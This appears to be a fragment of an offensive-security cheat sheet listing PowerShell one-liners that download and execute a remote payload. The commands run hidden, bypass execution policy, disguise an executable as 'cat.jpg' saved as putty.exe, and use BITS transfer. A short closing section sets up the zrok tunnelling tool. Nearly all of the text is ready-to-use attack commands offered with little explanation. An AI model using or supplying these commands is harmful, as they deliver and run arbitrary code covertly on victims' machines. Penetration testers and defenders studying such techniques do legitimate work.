1
2
3
4
5

# Download and Execute Payload (PS1)
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://192.168.x.x:8081/test.ps1')"
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.x.x:8081/test.ps1'))"

# ./test.ps1 => Start-Process 'C:\windows\system32\calc.exe'

1
2
3
4

# Download/Save/Execute
PowerShell.exe -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://192.168.x.x:8081/cat.jpg','%temp%\putty.exe'); Start-Process '%temp%\putty.exe'

PowerShell -windowstyle hidden -ExecutionPolicy ByPass -NoProfile Start-BitsTransfer -Source http://192.168.x.x:8081/cat.jpg -Destination $env:temp\cat.exe; Start-Process $env:temp\cat.exe

1

wget https://github.com/openziti/zrok/releases/download/v0.4.31/zrok_0.4.31_linux_arm64.tar.gz -O zrok.tar.gz

1

./zrok invite